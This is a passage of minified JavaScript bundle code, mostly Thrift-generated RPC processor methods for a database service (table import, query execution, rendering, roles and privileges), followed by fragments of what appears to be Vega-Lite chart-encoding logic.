_>"u"?_:{success:v}),h.writeMessageBegin("import_table",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_table",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_import_geo_table(w,g,h){const T=new Zx;T.read(g),g.readMessageEnd(),this._handler.import_geo_table.length===6?Promise.resolve(this._handler.import_geo_table.bind(this._handler)(T.session,T.table_name,T.file_name,T.copy_params,T.row_desc,T.create_params)).then(_=>{const v=new J3({success:_});h.writeMessageBegin("import_geo_table",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new J3(_),h.writeMessageBegin("import_geo_table",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_geo_table",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.import_geo_table(T.session,T.table_name,T.file_name,T.copy_params,T.row_desc,T.create_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new J3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("import_geo_table",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_geo_table",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_import_table_status(w,g,h){const T=new Jx;T.read(g),g.readMessageEnd(),this._handler.import_table_status.length===2?Promise.resolve(this._handler.import_table_status.bind(this._handler)(T.session,T.import_id)).then(_=>{const v=new Q3({success:_});h.writeMessageBegin("import_table_status",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Q3(_),h.writeMessageBegin("import_table_status",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_table_status",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.import_table_status(T.session,T.import_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Q3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("import_table_status",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_table_status",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_first_geo_file_in_archive(w,g,h){const T=new Qx;T.read(g),g.readMessageEnd(),this._handler.get_first_geo_file_in_archive.length===3?Promise.resolve(this._handler.get_first_geo_file_in_archive.bind(this._handler)(T.session,T.archive_path,T.copy_params)).then(_=>{const v=new eg({success:_});h.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new eg(_),h.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_first_geo_file_in_archive(T.session,T.archive_path,T.copy_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new eg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_all_files_in_archive(w,g,h){const T=new ek;T.read(g),g.readMessageEnd(),this._handler.get_all_files_in_archive.length===3?Promise.resolve(this._handler.get_all_files_in_archive.bind(this._handler)(T.session,T.archive_path,T.copy_params)).then(_=>{const v=new tg({success:_});h.writeMessageBegin("get_all_files_in_archive",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new tg(_),h.writeMessageBegin("get_all_files_in_archive",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_files_in_archive",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_all_files_in_archive(T.session,T.archive_path,T.copy_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new tg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_all_files_in_archive",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_files_in_archive",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_layers_in_geo_file(w,g,h){const T=new tk;T.read(g),g.readMessageEnd(),this._handler.get_layers_in_geo_file.length===3?Promise.resolve(this._handler.get_layers_in_geo_file.bind(this._handler)(T.session,T.file_name,T.copy_params)).then(_=>{const v=new ng({success:_});h.writeMessageBegin("get_layers_in_geo_file",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ng(_),h.writeMessageBegin("get_layers_in_geo_file",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_layers_in_geo_file",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_layers_in_geo_file(T.session,T.file_name,T.copy_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ng(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_layers_in_geo_file",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_layers_in_geo_file",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_query_get_outer_fragment_count(w,g,h){const T=new nk;T.read(g),g.readMessageEnd(),this._handler.query_get_outer_fragment_count.length===2?Promise.resolve(this._handler.query_get_outer_fragment_count.bind(this._handler)(T.session,T.query)).then(_=>{const v=new ig({success:_});h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ig(_),h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.query_get_outer_fragment_count(T.session,T.query,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ig(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_check_table_consistency(w,g,h){const T=new ik;T.read(g),g.readMessageEnd(),this._handler.check_table_consistency.length===2?Promise.resolve(this._handler.check_table_consistency.bind(this._handler)(T.session,T.table_id)).then(_=>{const v=new sg({success:_});h.writeMessageBegin("check_table_consistency",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new sg(_),h.writeMessageBegin("check_table_consistency",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("check_table_consistency",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.check_table_consistency(T.session,T.table_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new sg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("check_table_consistency",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("check_table_consistency",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_start_query(w,g,h){const T=new sk;T.read(g),g.readMessageEnd(),this._handler.start_query.length===6?Promise.resolve(this._handler.start_query.bind(this._handler)(T.leaf_session,T.parent_session,T.query_ra,T.start_time_str,T.just_explain,T.outer_fragment_indices)).then(_=>{const v=new rg({success:_});h.writeMessageBegin("start_query",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new rg(_),h.writeMessageBegin("start_query",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_query",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.start_query(T.leaf_session,T.parent_session,T.query_ra,T.start_time_str,T.just_explain,T.outer_fragment_indices,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new rg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("start_query",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_query",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_execute_query_step(w,g,h){const T=new rk;T.read(g),g.readMessageEnd(),this._handler.execute_query_step.length===3?Promise.resolve(this._handler.execute_query_step.bind(this._handler)(T.pending_query,T.subquery_id,T.start_time_str)).then(_=>{const v=new ag({success:_});h.writeMessageBegin("execute_query_step",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ag(_),h.writeMessageBegin("execute_query_step",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("execute_query_step",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.execute_query_step(T.pending_query,T.subquery_id,T.start_time_str,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ag(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("execute_query_step",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("execute_query_step",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_broadcast_serialized_rows(w,g,h){const T=new ak;T.read(g),g.readMessageEnd(),this._handler.broadcast_serialized_rows.length===5?Promise.resolve(this._handler.broadcast_serialized_rows.bind(this._handler)(T.serialized_rows,T.row_desc,T.query_id,T.subquery_id,T.is_final_subquery_result)).then(_=>{const v=new og({success:_});h.writeMessageBegin("broadcast_serialized_rows",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new og(_),h.writeMessageBegin("broadcast_serialized_rows",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("broadcast_serialized_rows",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.broadcast_serialized_rows(T.serialized_rows,T.row_desc,T.query_id,T.subquery_id,T.is_final_subquery_result,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new og(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("broadcast_serialized_rows",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("broadcast_serialized_rows",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_start_render_query(w,g,h){const T=new ok;T.read(g),g.readMessageEnd(),this._handler.start_render_query.length===4?Promise.resolve(this._handler.start_render_query.bind(this._handler)(T.session,T.widget_id,T.node_idx,T.vega_json)).then(_=>{const v=new lg({success:_});h.writeMessageBegin("start_render_query",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new lg(_),h.writeMessageBegin("start_render_query",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_render_query",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.start_render_query(T.session,T.widget_id,T.node_idx,T.vega_json,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new lg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("start_render_query",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_render_query",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_execute_next_render_step(w,g,h){const T=new lk;T.read(g),g.readMessageEnd(),this._handler.execute_next_render_step.length===2?Promise.resolve(this._handler.execute_next_render_step.bind(this._handler)(T.pending_render,T.merged_data)).then(_=>{const v=new cg({success:_});h.writeMessageBegin("execute_next_render_step",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new cg(_),h.writeMessageBegin("execute_next_render_step",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("execute_next_render_step",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.execute_next_render_step(T.pending_render,T.merged_data,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new cg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("execute_next_render_step",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("execute_next_render_step",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_insert_data(w,g,h){const T=new ck;T.read(g),g.readMessageEnd(),this._handler.insert_data.length===2?Promise.resolve(this._handler.insert_data.bind(this._handler)(T.session,T.insert_data)).then(_=>{const v=new dg({success:_});h.writeMessageBegin("insert_data",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new dg(_),h.writeMessageBegin("insert_data",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("insert_data",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.insert_data(T.session,T.insert_data,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new dg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("insert_data",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("insert_data",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_insert_chunks(w,g,h){const T=new dk;T.read(g),g.readMessageEnd(),this._handler.insert_chunks.length===2?Promise.resolve(this._handler.insert_chunks.bind(this._handler)(T.session,T.insert_chunks)).then(_=>{const v=new fg({success:_});h.writeMessageBegin("insert_chunks",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new fg(_),h.writeMessageBegin("insert_chunks",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("insert_chunks",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.insert_chunks(T.session,T.insert_chunks,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new fg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("insert_chunks",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("insert_chunks",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_checkpoint(w,g,h){const T=new fk;T.read(g),g.readMessageEnd(),this._handler.checkpoint.length===2?Promise.resolve(this._handler.checkpoint.bind(this._handler)(T.session,T.table_id)).then(_=>{const v=new ug({success:_});h.writeMessageBegin("checkpoint",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ug(_),h.writeMessageBegin("checkpoint",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("checkpoint",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.checkpoint(T.session,T.table_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ug(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("checkpoint",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("checkpoint",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_roles(w,g,h){const T=new uk;T.read(g),g.readMessageEnd(),this._handler.get_roles.length===1?Promise.resolve(this._handler.get_roles.bind(this._handler)(T.session)).then(_=>{const v=new hg({success:_});h.writeMessageBegin("get_roles",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new hg(_),h.writeMessageBegin("get_roles",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_roles",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_roles(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new hg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_roles",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_roles",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_db_objects_for_grantee(w,g,h){const T=new hk;T.read(g),g.readMessageEnd(),this._handler.get_db_objects_for_grantee.length===2?Promise.resolve(this._handler.get_db_objects_for_grantee.bind(this._handler)(T.session,T.roleName)).then(_=>{const v=new gg({success:_});h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new gg(_),h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_db_objects_for_grantee(T.session,T.roleName,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new gg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_db_object_privs(w,g,h){const T=new gk;T.read(g),g.readMessageEnd(),this._handler.get_db_object_privs.length===3?Promise.resolve(this._handler.get_db_object_privs.bind(this._handler)(T.session,T.objectName,T.type)).then(_=>{const v=new _g({success:_});h.writeMessageBegin("get_db_object_privs",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new _g(_),h.writeMessageBegin("get_db_object_privs",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_db_object_privs",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_db_object_privs(T.session,T.objectName,T.type,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new _g(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_db_object_privs",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_db_object_privs",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_all_roles_for_user(w,g,h){const T=new _k;T.read(g),g.readMessageEnd(),this._handler.get_all_roles_for_user.length===2?Promise.resolve(this._handler.get_all_roles_for_user.bind(this._handler)(T.session,T.userName)).then(_=>{const v=new pg({success:_});h.writeMessageBegin("get_all_roles_for_user",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new pg(_),h.writeMessageBegin("get_all_roles_for_user",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_roles_for_user",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_all_roles_for_user(T.session,T.userName,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new pg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_all_roles_for_user",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_roles_for_user",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_all_effective_roles_for_user(w,g,h){const T=new pk;T.read(g),g.readMessageEnd(),this._handler.get_all_effective_roles_for_user.length===2?Promise.resolve(this._handler.get_all_effective_roles_for_user.bind(this._handler)(T.session,T.userName)).then(_=>{const v=new yg({success:_});h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new yg(_),h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_all_effective_roles_for_user(T.session,T.userName,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new yg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_has_role(w,g,h){const T=new yk;T.read(g),g.readMessageEnd(),this._handler.has_role.length===3?Promise.resolve(this._handler.has_role.bind(this._handler)(T.session,T.granteeName,T.roleName)).then(_=>{const v=new mg({success:_});h.writeMessageBegin("has_role",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new mg(_),h.writeMessageBegin("has_role",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("has_role",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.has_role(T.session,T.granteeName,T.roleName,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new mg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("has_role",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("has_role",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_has_object_privilege(w,g,h){const T=new mk;T.read(g),g.readMessageEnd(),this._handler.has_object_privilege.length===5?Promise.resolve(this._handler.has_object_privilege.bind(this._handler)(T.session,T.granteeName,T.ObjectName,T.objectType,T.permissions)).then(_=>{const v=new wg({success:_});h.writeMessageBegin("has_object_privilege",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new wg(_),h.writeMessageBegin("has_object_privilege",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("has_object_privilege",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.has_object_privilege(T.session,T.granteeName,T.ObjectName,T.objectType,T.permissions,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new wg(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("has_object_privilege",a.MessageType.REPLY,w)):(B=new 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AV(e)&&e.timeUnit?Object.assign(Object.assign({},e),{timeUnit:(t=xi(e.timeUnit))===null||t===void 0?void 0:t.unit}):e}const r3={quantitative:"quantitative",ordinal:"ordinal",temporal:"temporal",nominal:"nominal",geojson:"geojson"};function MLe(e){return e==="quantitative"||e==="temporal"}function CV(e){return e==="ordinal"||e==="nominal"}const Kd=r3.quantitative,lS=r3.ordinal,ch=r3.temporal,cS=r3.nominal,Uh=r3.geojson;function ALe(e){if(e)switch(e=e.toLowerCase(),e){case"q":case Kd:return"quantitative";case"t":case ch:return"temporal";case"o":case lS:return"ordinal";case"n":case cS:return"nominal";case Uh:return"geojson"}}var NLe=globalThis&&globalThis.__rest||function(e,t){var n={};for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&t.indexOf(i)<0&&(n[i]=e[i]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var s=0,i=Object.getOwnPropertySymbols(e);s{switch(t.fieldTitle){case"plain":return e.field;case"functional":return S8e(e);default:return E8e(e,t)}};let oG=aG;function lG(e){oG=e}function x8e(){lG(aG)}function vu(e,t,{allowDisabling:n,includeDefault:i=!0}){var s,o;const c=(s=wS(e))===null||s===void 0?void 0:s.title;if(!we(e))return c??e.title;const d=e,f=i?LS(d,t):void 0;return n?Sn(c,d.title,f):(o=c??d.title)!==null&&o!==void 0?o:f}function wS(e){if(uh(e)&&e.axis)return e.axis;if(sG(e)&&e.legend)return e.legend;if(yS(e)&&e.header)return e.header}function LS(e,t){return oG(e,t)}function Xy(e){var t;if(rG(e)){const{format:n,formatType:i}=e;return{format:n,formatType:i}}else{const n=(t=wS(e))!==null&&t!==void 0?t:{},{format:i,formatType:s}=n;return{format:i,formatType:s}}}function k8e(e,t){var n;switch(t){case"latitude":case"longitude":return"quantitative";case"row":case"column":case"facet":case"shape":case"strokeDash":return"nominal";case"order":return"ordinal"}if(mS(e)&&ue(e.sort))return"ordinal";const{aggregate:i,bin:s,timeUnit:o}=e;if(o)return"temporal";if(s||i&&!Ac(i)&&!Yo(i))return"quantitative";if(vf(e)&&(!((n=e.scale)===null||n===void 0)&&n.type))switch(D8[e.scale.type]){case"numeric":case"discretizing":return"quantitative";case"time":return"temporal"}return"nominal"}function qa(e){if(we(e))return e;if(l6(e))return e.condition}function An(e){if(Je(e))return e;if(l3(e))return e.condition}function cG(e,t,n,i={}){if(xe(e)||Yt(e)||Ec(e)){const s=xe(e)?"string":Yt(e)?"number":"boolean";return me(B5e(t,s,e)),{value:e}}return Je(e)?Ky(e,t,n,i):l3(e)?Object.assign(Object.assign({},e),{condition:Ky(e.condition,t,n,i)}):e}function Ky(e,t,n,i){if(rG(e)){const{format:s,formatType:o}=e,c=H8(e,["format","formatType"]);if(Jd(o)&&!n.customFormatTypes)return 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f=k8e(d,t);d.type=f}if(lr(d)){const{compatible:f,warning:u}=F8e(d,t)||{};f===!1&&me(u)}if(mS(d)&&xe(d.sort)){const{sort:f}=d;if(hM(f))return Object.assign(Object.assign({},d),{sort:{encoding:f}});const u=f.substr(1);if(f.charAt(0)==="-"&&hM(u))return Object.assign(Object.assign({},d),{sort:{encoding:u,order:"descending"}})}if(yS(d)){const{header:f}=d;if(f){const{orient:u}=f,a=H8(f,["orient"]);if(u)return Object.assign(Object.assign({},d),{header:Object.assign(Object.assign({},a),{labelOrient:f.labelOrient||u,titleOrient:f.titleOrient||u})})}}return d}function c6(e,t){return Ec(e)?{maxbins:JO(t)}:e==="binned"?{binned:!0}:!e.maxbins&&!e.step?Object.assign(Object.assign({},e),{maxbins:JO(t)}):e}const Pf={compatible:!0};function F8e(e,t){const n=e.type;if(n==="geojson"&&t!=="shape")return{compatible:!1,warning:`Channel ${t} should not be used with a geojson data.`};switch(t){case Po:case Do:case Gm:return Yy(e)?Pf:{compatible:!1,warning:C5e(t)};case hn:case Kn:case kc:case Dh:case ps:case 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zh(null,this.model,at(this.filter))}constructor(t,n,i){super(t),this.model=n,this.filter=i,this.expr=n4(this.model,this.filter,this),this._dependentFields=_W(this.expr)}dependentFields(){return this._dependentFields}producedFields(){return new Set}assemble(){return{type:"filter",expr:this.expr}}hash(){return`Filter 